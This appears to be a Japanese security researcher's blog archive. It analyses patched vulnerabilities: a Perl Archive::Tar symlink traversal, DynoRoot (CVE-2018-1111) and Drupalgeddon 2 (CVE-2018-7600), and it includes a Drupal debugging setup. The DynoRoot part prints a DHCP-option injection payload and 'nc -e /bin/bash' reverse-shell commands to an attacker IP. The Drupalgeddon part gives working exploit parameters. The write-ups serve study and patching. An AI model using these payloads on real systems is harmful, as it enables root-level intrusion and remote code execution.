tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

byDistanceOrImportPathShortLength(優先度順に並び替え)

上で計算したdistanceの順に並び替えます。 もしdistanceの値が同じであればimportPathShortの長さで並び替えます。 github.com/knqyf263/foogithub.com/knqyf263/foobar であれば前者が先になります。 それも同じであればあとはimportPathShortの辞書順に並び替えます。

symbolの確認

このあとの処理は候補のパッケージそれぞれについてgoroutineで並列に行います。 まず候補のパッケージがexportしているsymbolをloadExportsで全て取得します。 このloadExports内も今までどおりASTで頑張っています。

loadExportsで全てのsymbolが得られたら、処理中のパッケージが利用しているsymbolと比較します。 全てexportされているものが存在したら該当のパッケージを見つけたということで処理を終えます。 この時、importPathの最後の要素とパッケージ名が異なる場合はneedsRenameをtrueにして返します。

長くなりましたが、これでfindImportの処理は終わりです。

未importのパッケージをimportする(続き)

findImportの結果、空文字列が返ってきた場合は条件を満たすパッケージが見つからなかったことを意味するので終了します。 もし見つかっていれば、resultsに入れます。

そのresultsそれぞれに対して astutil.AddImportastutil.AddNamedImport を呼び出してソースコードにimportを追加します。 あとは追加したimport pathをまとめてreturnします。

tools/fix.go at 3c07937fe18c27668fd78bbaed3d6b8b39e202ea · golang/tools · GitHub

これで重要なところは全て終わりです。

まとめ

せっかく読んだしまとめておこうと思ったら長くなったし誰が読むんだって感じになってしまいました。 ですが、恐れずに読むと意外と普通のことをやっているだけだったりするのでブログは読まなくてもソースコードは一度読んでみることをおすすめします。

PerlのArchive::Tarの脆弱性(CVE-2018-12015)について調べてみた

概要

少し前ですが、PerlのArchive::Tarモジュールにディレクトリトラバーサル脆弱性が見つかりました(CVE-2018-12015)。

oss-sec: Perl: CVE-2018-12015: Archive::Tar: directory traversal vulnerability

この脆弱性RedHatのページでCVSSスコア5.4とかなので特別高いわけではなく世間的にも全く話題になっていないのですが、どうやってこの脆弱性が起きるのか気になってしまったので調べました。

#Zip Slipの方じゃなくて全く話題になってないやつです。

実験

とりあえず試してみます。上のページに攻撃方法が載っています。

$ tar -tvvf traversal.tar.gz
lrwxrwxrwx root/root         0 2018-06-05 18:55 moo -> /tmp/moo
-rw-r--r-- root/root         4 2018-06-05 18:55 moo

$ pwd
/home/jwilk

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'

$ ls /tmp/moo
/tmp/moo

どうやら同じファイル名でtar.gzに入れてその片方をシンボリックリンクにしておくと、その向き先にもう一つのファイルの内容を書き込めるようです。

ではまず適当にシンボリックリンクを作ります。

$ ln -s /tmp/moo moo

そして次に同じファイル名を...と思って気づいたのですが、普通にやるとファイルシステム的には同じファイル名を許容しないので作れない。。

tarの内部的にはヘッダーのnameに入るだけだと思うので同じnameでも許容されるであろうことは直感的には分かるのですが、作り方は知りませんでした。 プログラム書けば出来るだろうけど、面倒だしな...と思っていて調べたらtarのtransformオプションに気づきました。 こいつを使えばアーカイブ時にパス名を書き換えられるようです。

$  cat <<EOF > foo
#!/bin/sh

echo foo
EOF

$ tar zcvf traversal.tar.gz * --transform='s/foo/moo/g'
foo
moo

中身を確認してみます。

$ tar -tvvf traversal.tar.gz
-rw-r--r-- root/root        20 2018-06-27 00:39 moo
lrwxrwxrwx root/root         0 2018-06-27 00:00 moo -> /tmp/moo

無事に同じファイルで書き込めました。 あとはPerlを実行するだけです。

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
Making symbolic link '/root/traversal/moo' to '/tmp/moo' failed at -e line 1.

$ cat /tmp/moo
#!/bin/sh

echo foo

ということで無事に成功しました。

詳細

何でこんな事が起きるんだっけ?ということを確認します。 以下で今回の脆弱性について話されているようです。

Bug #125523 for Archive-Tar: CVE-2018-12015 directory traversal vulnerability

Perl全然詳しくないのでモジュールのソースコード見たい場合はどこを見るのが正しいかすら知らないのですが、GitHubに見つけたのでこれを使って調査します(どこかのミラーなんですかね)。

GitHub - jib/archive-tar-new

今回の脆弱性の修正箇所は以下にあります。

github.com

    if (-l $full || -e _) {
    if (!unlink $full) {
        $self->_error( qq[Could not remove old file '$full': $!] );
        return;
    }
    }

Perlは相変わらず省略が多くて読みにくいですが、 -l $full のところではファイルがシンボリックリンクか確認しています。 また、 -e _ では、 _ が直前にファイルテスト演算子でテストしたファイルになるようなので、 $full が存在するかの確認になるようです。

つまり、ファイルがシンボリックリンクだったり既に存在しているようであれば削除するという処理になります。

次に、この下の処理を確認してみます。

if( length $entry->type && $entry->is_file ) {
        my $fh = IO::File->new;
        $fh->open( $full, '>' ) or (
            $self->_error( qq[Could not open file '$full': $!] ),
            return
        );

        if( $entry->size ) {
            binmode $fh;
            syswrite $fh, $entry->data or (
                $self->_error( qq[Could not write data to '$full'] ),
                return
            );
        }

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L862-L875

$full をopenして、そこに $entry->data を書き込んでいることが分かります。 ソースコードを読むだけでは面白くないので、実行して中身を見てみます。

適当にopenの前とかにDumperを挟んでみます。

print Dumper $full;
$fh->open( $full, '>' ) or (
...

インストール方法はREADMEに書いてあります。

perl Makefile.PL
make
make test (optional but recommended)
make install

この状態で再度実行します。

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
$VAR1 = '/root/traversal/moo';

$full には単にファイルのフルパスが入っているようです。

次に $entry も見てみます。

$VAR1 = bless( {
                 'chksum' => 4336,
                 'raw' => 'moo0000644000000000000000000000002413307364634010360 0ustar  rootroot',
                 'mode' => 420,
                 'version' => ' ',
                 'gid' => 0,
                 'data' => '#!/bin/sh

echo foo
',
                 'magic' => 'ustar',
                 'name' => 'moo',
                 'uname' => 'root',
                 'type' => '0',
                 'devmajor' => 0,
                 'size' => 20,
                 'linkname' => '',
                 'prefix' => '',
                 'mtime' => 1528687004,
                 'devminor' => 0,
                 'uid' => 0,
                 'gname' => 'root'
               }, 'Archive::Tar::File' );

tarのヘッダに入っているような情報が含まれているようです。 そして実際のデータは data の中に入っていました。

シンボリックリンクの方は以下のようになっており、 linkname にリンクされている先が入っているようです。

$VAR1 = bless( {
                 'name' => 'moo',
                 'gid' => 0,
                 'magic' => 'ustar',
                 'raw' => 'moo0000777000000000000000000000000013314551645011671 2/tmp/mooustar  rootroot',
                 'mode' => 511,
                 'chksum' => 5049,
                 'version' => ' ',
                 'linkname' => '/tmp/moo',
...

一応 $full がどこから来ているかも確認しておきます。

my $full = File::Spec->catfile( $dir, $file );

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L841

単に $dir$file を結合しているだけのようです、

$file は以下のように $name から来ており、これは $entry から来ているので、結局ヘッダ内の情報を使っているようです。

if ( defined $alt ) { # It's a local-OS path
    ($vol,$dirs,$file) = File::Spec->splitpath(       $alt,
                                                      $entry->is_dir );
} else {
    ($vol,$dirs,$file) = File::Spec::Unix->splitpath( $name,
                                                      $entry->is_dir );
}

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L696-L702

つまりまとめると、以下のような流れになります。

1つめのmoo(シンボリックリンク

  1. mooというファイル名(正確にはパスも含む)をヘッダから取り出す
  2. mooというファイルをopenする(存在しないので新規作成)
  3. linknameを使ってシンボリックリンクを生成する

2つめのmoo(実際のファイル)

  1. mooというファイル名をヘッダから取り出す
  2. mooというファイルをopenする
  3. しかしmooは既に存在するので、上で作ったシンボリックリンクをopenしたことになる
  4. その中にdataを書き込む
  5. リンクされた先(上記では /tmp/moo )に書き込まれる

ポイントとしてはnameとdataが分離されて保存されているところかと思います。同じnameでopen処理をすると最初に作られたファイルがopenされてしまいそこにdataが書き込まれる、というのが分かれば特に難しい脆弱性ではありません。分かれば簡単、といういつものパターンです。

雑に言えばmooというファイルにfooって書き込もうとしたら、既にmooが存在していて /tmp/mooシンボリックリンクがはられていたので、そっちにfooが書き込まれてしまった、というイメージですね。

$ ln -s /tmp/moo moo
$ echo foo > moo
$ cat /tmp/moo
foo

まとめ

tarを解凍するときにディレクトリトラバーサルできるという脆弱性について調べました。 シンボリックリンクと同じファイル名でアーカイブしておくと、その内容がシンボリックリンクの先に書き込まれます。

実際にモジュールを動かしながら検証すると色々気づきがあって面白かったです。 最初に脆弱性概要を見たときにはぱっとイメージが沸かなかったので、今回少し賢くなりました。

DynoRoot (CVE-2018-1111) について調べてみた

DynoRoot (CVE-2018-1111) という脆弱性が公開されていたので調べてみました。 公開された日は時間取れませんでしたが、昨日は少し時間あったので試したりしました。 業務としてやってるわけじゃないので隙間時間にちょっとずつ進めた感じです。

概要

Red Hat Enterprise Linux 6/7に影響するCVE-2018-1111という脆弱性が公表されました。

CVE-2018-1111 - Red Hat Customer Portal

dhclientがNetworkManagerに提供しているスクリプト脆弱性があったようです。 DHCPクライアントの脆弱性になります。 DHCPクライアントがDHCPサーバから受け取ったDHCPのオプションを処理する際にバグが有り、任意コマンド実行が可能になっています。 NetworkManagerの権限で実行されるため、root権限での実行になります。

攻撃するためにはDHCPサーバになりすます必要があり(同一セグメントにいて正規のDHCPサーバより早く応答することでも攻撃可能)、攻撃可能なのは隣接ネットワークからになるため危険度は低いかなと思っています。 ですが環境によっては致命的なこともあると思いますので、各種情報を確認して判断して下さい。

セキュリティアップデートが公開済みなので、パッチを適用することで脆弱性を回避可能です。 変更は1行のみなので影響が出ることもないかと思います。 修正済みのバージョンについては上記URLからアドバイザリを確認して下さい。

詳細

ということで攻撃を試しつつ今回の脆弱性について見ていきます。

環境

RedHatという高尚なものは持っていないのでCentOSで試しました。 基本的に利用しているスクリプトは一緒だし動くだろーと思って雑に試したら動いた感じです。 CentOS 6系では異なると思いますが、基本的に以下ではCentOS 7で解説しています。

パッチ

CentOSのものになりますが、今回の修正は以下になります。

rpms/dhcp.git - git.centos.org

11-dhclientというファイルの

while read opt; do

の箇所を

while read -r opt; do

に変えただけですね。1行どころか2文字足しただけです。

11-dhclientはどこにあるかというと以下です。

# cat /etc/NetworkManager/dispatcher.d/11-dhclient
#!/bin/bash
# run dhclient.d scripts in an emulated environment

PATH=/bin:/usr/bin:/sbin
SAVEDIR=/var/lib/dhclient
ETCDIR=/etc/dhcp
interface=$1

eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
)"
...snip...

該当箇所はevalの中のようです。

Exploit

上記を頭に入れた上でExploitを見てみます。 Twitterで公開している人がいました。

こんなのよくシュッと出してくるなーという気持ちですが、とりあえず本体は以下のコマンドのようです。

$ dnsmasq --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

dhcp-optionのところでコマンドが指定されています。

これを実際に試してみますが、説明が面倒なので例によって環境を作って置いておきました。 試したい人はどうぞ。

github.com

まとめると、victimなCentOSからdhcpIPアドレスを取りに行く時に、attackerが悪意のあるdhcp-optionを指定して応答すると任意コマンドが実行される、という流れになります。 ネットワーク関連の設定で色々ハマりやすいのでdocker-compose upで出来るようにしておきました。

詳細

先程のevalの中を見てみます。 declare コマンドでシェルの変数を全て表示して DHCP4_ から始まるものをreadしてwhileの中に渡しています。

このスクリプト内でdeclareの結果をdumpしてみると以下のようになります。 ちなみにこの変数がどこで定義されているかまでは調べてないので誰かの報告を待ちます。

DHCP4_BROADCAST_ADDRESS=10.10.0.255
DHCP4_DHCP_LEASE_TIME=3600
DHCP4_DHCP_MESSAGE_TYPE=5
DHCP4_DHCP_REBINDING_TIME=3150
DHCP4_DHCP_RENEWAL_TIME=1800
DHCP4_DHCP_SERVER_IDENTIFIER=10.10.0.3
DHCP4_DOMAIN_NAME_SERVERS=10.10.0.1
DHCP4_EXPIRY=1526609756
DHCP4_HOST_NAME=victim
DHCP4_IP_ADDRESS=10.10.0.11
DHCP4_NETWORK_NUMBER=10.10.0.0
DHCP4_NEXT_SERVER=10.10.0.3
DHCP4_REQUESTED_BROADCAST_ADDRESS=1
DHCP4_REQUESTED_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_DOMAIN_NAME=1
DHCP4_REQUESTED_DOMAIN_NAME_SERVERS=1
DHCP4_REQUESTED_DOMAIN_SEARCH=1
DHCP4_REQUESTED_HOST_NAME=1
DHCP4_REQUESTED_INTERFACE_MTU=1
DHCP4_REQUESTED_MS_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_NIS_DOMAIN=1
DHCP4_REQUESTED_NIS_SERVERS=1
DHCP4_REQUESTED_NTP_SERVERS=1
DHCP4_REQUESTED_RFC3442_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_ROUTERS=1
DHCP4_REQUESTED_STATIC_ROUTES=1
DHCP4_REQUESTED_SUBNET_MASK=1
DHCP4_REQUESTED_TIME_OFFSET=1
DHCP4_REQUESTED_WPAD=1
DHCP4_ROUTERS=10.10.0.1
DHCP4_SUBNET_MASK=255.255.255.0
DHCP4_WPAD=foo

--dhcp-option として渡した値が変数として定義されています。 --dhcp-option の252はWPADの設定になるので、WPADのところを見てみると以下のようになっています。 これは攻撃じゃなく普通の値を渡した場合になります。

DHCP4_WPAD=foo

ではExploitの値を指定した場合と比較しましょう。

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'

途中にシングルクォートが入っています。 結論から言えば、このシングルクォートでexportから抜け出してコマンドが実行されています。

先程のevalから見にくいのでevalを削ったスクリプトを作って実行してみます。

$ cat vuln.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done

これを実行すると以下のようになります。

$ ./vuln.sh
export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'

実際のスクリプトでは、この結果をさらに$()で囲ってevalしています。 つまり簡潔に書けば以下になります。

$ eval "$(echo "export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'")"

これはシングルクォートでexportが閉じているため、exportコマンドとncコマンドの2つが実行されます。 この2つめを自由に指定できるため、任意コマンド実行が可能ということになります。

yarrakの後ろの1つめのシングルクォートで一旦閉じて、2つめのシングルクォートも3つめのシングルクォートで閉じて、単に文字列連結になって終了という感じです。

以下とかを見ると分かりやすいかもしれません。

$ export new_wpad='yarrak''a'
$ echo $new_wpad
yarraka

ちなみにexportしたあとを & にしてますが、 ; とかでも良いです。というかこういう時に & でいけるんだな、という感じでした。 バックグラウンド実行するときは一番最後に & 置いてましたが、途中に置いても区切りとして認識されて次のコマンドが実行されるんですね。

あと nc -e もめっちゃ便利ですね。。ただ危険だからか、標準で入ってるやつには -e オプションなかったので攻撃に使えない場合もあるかもしれません。

ということで攻撃の概要としては以上です。

次に修正後について見てみます。

$ cat fixed.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\;nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
$ ./fixed.sh
export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'

-r がついているので、バックスラッシュがそのままになっています。 これをevalしてみます。

$ eval "$(echo "export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'")"
$ declare
...
_='export new_wpad='\''yarrak\'\''\'\'''\'';nc -e /bin/bash 10.10.0.3 1337 #'\'''
...

シングルクォートを抜けられず後ろのコマンドも変数に入ってしまっています。 ですが、bashでシングルクォートのエスケープしたことある方はご存知かと思いますが、あまり単純な話ではありません。

以下はうまくいきません。

$ echo 'abc\'def'

正しくエスケープするためには一旦閉じて、 \'エスケープしたあと文字列を再開する必要があります。

$ echo 'abc'\''def'

これを踏まえて上を見るとyarakのあとのバックスラッシュは無視されて、次のシングルクォートで一旦文字列が閉じます。 次に \' によってシングルクォートになります。 そして次のシングルクォートで文字列が再開され、仕込んだコマンドは文字列の中に入ってしまいます。

このようにシングルクォートを抜けられなくなったため、コマンドが実行されなくなりました。

とはいえ、何か複雑なので頑張れば抜けられるのでは...?という気持ちも少しあります。

まとめ

DynoRoot (CVE-2018-1111) について調査しました。 root権限で任意コマンド実行可能ですが、DHCPの応答として悪意あるパケットを返す必要があり、一般的な構成であればネットワークの外から攻撃可能ではないはずなので危険度は低めかなと思っています。 実際に試したら簡単に成功しました(環境を準備するのは大変だったけど)。 evalはやはり危険だなーという気持ちです。

Drupalの脆弱性調査をするための最高の環境を整えた

Dockerで動かしたDrupalをPhpStormからリモートデバッグ出来るようにした話です。 Drupalって書いてますがPHPのソフトウェア全般に使える話です。

勢いで最高とか言いましたが、さっきドキュメントを読んでいたら以下の方法よりもっと簡単にやれる方法がありそうなので、また分かったら後日書きます。

概要

先日、Drupalgeddon 2(CVE-2018-7600)の脆弱性について調査したのですが、全部Dockerでvar_dumpで頑張ってたら非常に大変でした。

PhpStormとかIDEでデバッガ使いたいなーと思って、実際にやったら便利になった、という記事です。以前Tomcatの時に同じことやっているのでPHP版ですね。

背景

あんまり環境構築には関係ないので興味ない人はスルーで良いです。

脆弱性調査をするエンジニアの特徴として、複数のバージョンを試したりする必要があるため、直接PC上にインストールするのは難しいという事情があります(環境が汚れると別のバージョン入れたらうまく行かなくなったりするので)。
また、PHPのバージョンも変えたいな〜とかなるともうしんどいです。phpenvとかはもちろんありますが、掛け算で組み合わせあるのでよく分からなくなってきます。
他の人も調査したいって言ったときに環境を説明するのも面倒です。あとは手順渡してもうまくインストールできなかった、とかもあります。

これらを考えるとDockerは脆弱性調査をするエンジニアにとってはこれ以上無いツールです。3年ぐらい前からDockerを使って調査をしてたのですが、ここらへんかなり知見をためつつあるのでどこかで話そうかなーと思ったりもしてます。

ただし、デバッグがしにくい問題もあります。いちいちコンテナに入ってvimで編集したりしていて、環境構築のコストは下がるけど結局調査のコストが高いままだな...と思っていました。しかし脆弱性調査は急にやってくるため、環境構築に時間をかけすぎるわけにもいかず結局vimで頑張って終わることが多かったです。
そして一度調査が終わってしまうとリモートデバッグとかの構築するの面倒になって、いつもやらずに終わってました。
しかし今回、Drupalが短い期間で再度脆弱性を公表するということで、やる気を出して設定してみました。 一度やったらかなり便利になったので共有です。

詳細

DockerでDrupalを動かして、それをPhpStormでデバッグしたいなーと思ったのですが、以下の記事は非常に参考になりました(ありがとうございます)。

blog.shin1x1.com

Xdebugを動かしてリモートデバッグする方法になります。
自分はMacでPhpStormを起動して、Docker上のDrupalをリモートデバッグしてみました。

環境

サンプル

いつでも簡単に試せるようにセットをGitHub上に置いておきました。 github.com

以下みたいな感じで打てば使えると思います(多分)。
何やってるかについて次から説明していきます。

$ git clone https://github.com/knqyf263/docker-drupal.git
$ cd docker-drupal/8.5.2/docker
$ ./install.sh
$ cd ..
$ docker-compose up -d

Dockerイメージ作成

今回のやり方としては、MacDrupalソースコードを落としてDockerにマウントする形になります。そのため、既存のdrupalのイメージは使わずに自分で作りました(xdebugもインストールしたかったので)。

本当はDrupalのダウンロードも含めてDockerfileに書きたかったのですが、Docker上のファイルをMac側にマウントする方法がわからず断念しました。もしご存じの方がいたら教えてください。

作ったのは以下のDockerfileになります。

https://github.com/knqyf263/docker-drupal/blob/master/docker/8.5.2/Dockerfile

あとはMac上にDrupalソースコードをダウンロードしておく必要があるので、適当なシェルスクリプトを書きました。 Drupalのバージョンは8.5.2になってますが、簡単に変えられるようになっています。

https://github.com/knqyf263/docker-drupal/blob/master/docker/8.5.2/install.sh

docker-compose.yml作成

今回はコンテナ一つですが、マウントの設定など覚えておくの面倒なのでDocker Composeを使います。

ファイルは以下になります。

https://github.com/knqyf263/docker-drupal/blob/master/docker-compose.yml

単に上で作ったDockerイメージを起動してるだけです。

起動します。

$ docker-compose up -d

Xdebugの設定

php.iniでXdebugを有効にする設定をします。

以下のような感じ。

https://github.com/knqyf263/docker-drupal/blob/master/docker/php.ini

xdebug.remote_hostをdocker.for.mac.host.internalにしてます。Docker内からMacIPアドレスを解決するときに使えるドメイン名なのですね。今回初めて知りました。

PhpStormの設定

プロジェクトのトップディレクトリをPhpStormで開きます。

Remote Debug

先程の参考サイトを見てもらったほうが早いですが、一応メモがてら残しておきます。

まず「Run」→「Edit Configurations」を開きます。

f:id:knqyf263:20180425175850p:plain

左上の「+」を押して「PHP Remote Debug」を選択します。

f:id:knqyf263:20180425185431p:plain

Serverの右の「...」を押すとウィンドウが開くので、左上の「+」を押して追加します。

以下のように設定します。

Host: localhost
Port: 8000
Debugger: Xdebug

そして、「Use path mappings」でdrupalソースコードが入っているディレクトリを /var/www/htmlマッピングします。

以下の画像のようになります。

f:id:knqyf263:20180425185839p:plain

「OK」で戻ったあと、「Server」が先程作ったものになっているか確認します。

Ide keyはphp.iniで指定したものにします。 php.iniで書かなければこっちも設定要らないのですが、何となく設定してみました。

あとは「Name」を適当につけると以下のようになります。

f:id:knqyf263:20180425190222p:plain

これで設定は完了です。

実行

「Run」→「Start Listening for PHP Debug Connections」にチェックを入れます。これによりXdebugのサーバが立ち上がります(多分)。

f:id:knqyf263:20180425190456p:plain

あとはブレークポイントを貼ってリクエストを投げるだけです。 PhpStormでデバッグボタンとか押さなくても勝手にデバッグモードになります。

任意コードが実行される瞬間も丸見えですね。

f:id:knqyf263:20180425190856p:plain

まとめ

Drupal脆弱性調査用の環境を整えました。
Drupalに限らずPHP全般に使えるため、今後楽になりそうです。

今日の深夜にDrupal脆弱性が新しく公表されるらしいので、早く寝て早く起きて環境を整えて待ちましょう。

Drupalgeddon 2(CVE-2018-7600)について調べてみた

少し前に出たDrupal脆弱性(CVE-2018-7600)ですが、攻撃コードも出たので調査し直しました。 まだ分かっていないところもあるのですが、一旦まとめておきます。 ツッコミ歓迎です。

概要

Drupal は 2018年3月28日 (現地時間) にセキュリティアドバイザリ情報(SA-CORE-2018-002) を公開しました。公開された情報によると Drupal には、リモートから任意のコードが実行可能となる脆弱性 (CVE-2018-7600) が存在し、この脆弱性を悪用することで、遠隔の第三者が、非公開データを窃取したり、システムデータを改変したりするなどの可能性があるとのことです。 (https://www.jpcert.or.jp/at/2018/at180012.html より引用)

影響があるバージョンは以下です。

  • Drupal 8.5.1 より前のバージョン
  • Drupal 7.58 より前のバージョン

任意コード実行なので危険度は高いです。exploitコードも公開されたため、もし利用している方は早急にアップデートしたほうが良いです。

修正内容

Drupalチームによるパッチは以下になります。

github.com

RequestSanitizerというクラスが作られ、preHandleという箇所で呼ばれています。 このpreHandleは名前からわかるように、リクエストに必ず適用される処理のようです(本当に必ずかはコード読んでないですが、デバッグした感じは毎回通ってました)。

そして重要な処理は以下になります。

SA-CORE-2018-002 by Jasu_M, samuel.mortenson, David_Rothstein, xjm, m… · drupal/drupal@19b69fe · GitHub

if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
    unset($input[$key]);
    $sanitized_keys[] = $key;
}

key名が#から始まってたら、そのキー名は除くようになっています(ホワイトリストに登録されているものは許可されています)。

そして、この stripDangerousValues はGET/POST/Cookieのそれぞれについて適用されるようになっています。 このパッチから、#で始まるパラメータが渡ってくるとまずいことになる、というのが想像できます。

DrupalにはForm APIというものがあり、簡単にフォームを作ることができるようです。

Form and render elements | Drupal 8.5.x | Drupal API

このForm APIはmetadataとして、内部で#を利用しておりPOST等でそれを上書きできると想定しない挙動を引き起こすことが出来るのかな?という予想ができます。

その予想を基に自分でもexploitを書くべく結構数時間ぐらい頑張ったのですが、全然書けず諦めました。buildFormとか周りでcall_user_funcしてるし怪しいな〜と思ってデバッガ使ったりして追っていたのですがたどり着けず。。

攻撃コード

以下で解説されていました。基本的に以下の説明はDrupal8に関するものになります。

Uncovering Drupalgeddon 2 - Check Point Research

先にまとめておくと、認証不要なユーザ登録ページに対して任意コード実行可能な攻撃コードとなっているため、特に前提条件なく影響を受けるのではないかと思います。ですが、payloadとしては特徴的になるのでアップデートできない環境でも対策の方法は色々ありそうです。

以下で詳細についてまとめますが、かなり詳細なので興味ある人以外は読まなくて良いと思います。

Render arrays

攻撃可能なのはRender arraysと呼ばれるarrayのようです。このarray内の属性に応じてHTMLが動的に組み立てられる感じかと思います。

Render arrays | Drupal 8 guide on Drupal.org

このarrayはRender APIで利用されるようですが、上記の解説ブログにはRender APIについて書かれておらず、Form APIと書かれているようなのでよく分からなくなりました。

このRender arraysはRender APIとForm APIで共通して使われるもののようですが、今回悪用されているパラメータはRender APIで利用されるものですし、実際に攻撃が刺さるのも core/lib/Drupal/Core/Render/Renderer.php とかなので、Render API脆弱性なんじゃないかと思っていますが、Drupal詳しくないのでよく分かってないです。

Render arrays内の属性は上記のドキュメントにあるように、 #type のように#から始まります。 脆弱性の概要としては、この#から始まるパラメータを送信することで、このRender arrays内の属性を不正に書き換えることによる脆弱性、ということになります。 概要だけ見れば知ってた、って感じですが実際に攻撃に繋げるのは予想より大分難しかったですね。

上記の解説によると、emailのフィールドはサニタイズされておらず、POSTによってmailのarrayに#から始まる値を注入できたとのことです。 https://research.checkpoint.com/wp-content/uploads/2018/04/Fig3.png

しかし、今度はそのarrayをレンダリングする必要があります。これが難しい。。

結論としては、DrupalAjax APIで画像をアップロードする箇所に脆弱な箇所がありました。 ただ、多分ここだけじゃないと思っています。追記するかもしれません。

uploadAjaxCallbackを見ると、GETパラメータのelement_parentsを取り出し、それをrenderRootレンダリングしていることが分かります。 なので、element_parentsに先程注入したarrayを呼ぶようなパラメータを渡してあげれば良さそうです。

  public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    /** @var \Drupal\Core\Render\RendererInterface $renderer */
    $renderer = \Drupal::service('renderer');
    $form_parents = explode('/', $request->query->get('element_parents'));
    // Retrieve the element to be rendered.
    $form = NestedArray::getValue($form, $form_parents);
    // Add the special AJAX class if a new file was added.
    $current_file_count = $form_state->get('file_upload_delta_initial');
    if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
      $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
    }
    // Otherwise just add the new content class on a placeholder.
    else {
      $form['#suffix'] .= '<span class="ajax-new-content"></span>';
    }
    $status_messages = ['#type' => 'status_messages'];
    $form['#prefix'] .= $renderer->renderRoot($status_messages);
    $output = $renderer->renderRoot($form);
    $response = new AjaxResponse();
    $response->setAttachments($form['#attached']);
    return $response->addCommand(new ReplaceCommand(NULL, $output));
  }

drupal/ManagedFile.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

以下でexploitコードが公開されているので、こちらを見ると element_parents=account/mail/%23value のようにして渡してあげると良いようです。

github.com

これで無事に渡したarrayがレンダリングされます。 あとは任意コードを実行するだけです。 任意コード実行するために利用できそうなパラメータは4つある、とのことでした。

  • #access_callback
  • #pre_render
  • #lazy_builder
  • #post_render

post_render編

このうち、上記のexploitコードでは #post_render を利用しています。 実際に攻撃が発動するのは以下になります。

    if (isset($elements['#post_render'])) {
      foreach ($elements['#post_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
          $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
      }
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

call_user_func は危険ですね。こいつの第一引数に呼ぶ関数を渡せます。マニュアルは以下。

PHP: call_user_func - Manual

なので、$callable に例えばexecを渡してあげればOSコマンドが実行できそうです。 $elements['#post_render']をforeach文で回していることから、ここにはarrayが入る必要があります。 そこで、'mail[#post_render][]': 'exec' のような感じでarrayになるようにPOSTのパラメータを調整します。

そして肝となるのは第二引数です。ここに実行するコマンドを渡す必要があります。 Drupalのコードを見ると $elements['#children'] となっています。では#childrenで入れれば良いのかというと、そんなに簡単ではありません。 直前のコードを見ると $elements['#children'] に代入等を何箇所かで行っているため、外からPOSTで渡してもcall_user_funcに到達する前に値が変わってしまいます。

では先程のexploitでどうやっているかというと、'mail[#markup]': 'echo ";-)" | tee hello.txt' のようにしています。 実は、#markupに入れておくと #childrenに入ります。

    if (!$theme_is_implemented && isset($elements['#markup'])) {
      $elements['#children'] = Markup::create($elements['#markup'] . $elements['#children']);
    }

drupal/Renderer.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

#children の中身を見てみます。

  '#children' =>
  Drupal\Core\Render\Markup::__set_state(array(
     'string' => 'echo ";-)" | tee hello.txt',
  )),

上記のように、Markupクラスになっていることが分かります。 上でMarkup::createしているので当然ではあるのですが、stringではないためexecに渡してもコマンドは実行されなさそうに見えます。 そこでMarkupクラスを覗くとMarkupTraitをuseしていることが分かります。

final class Markup implements MarkupInterface, \Countable {
  use MarkupTrait;
}

drupal/Markup.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

そしてMarkupTraitを覗くと、__toString() が定義されていることが分かります。

  public function __toString() {
    return $this->string;
  }

drupal/MarkupTrait.php at 8b236d916fee2548cac2a1e37cb0d2fe62131da3 · drupal/drupal · GitHub

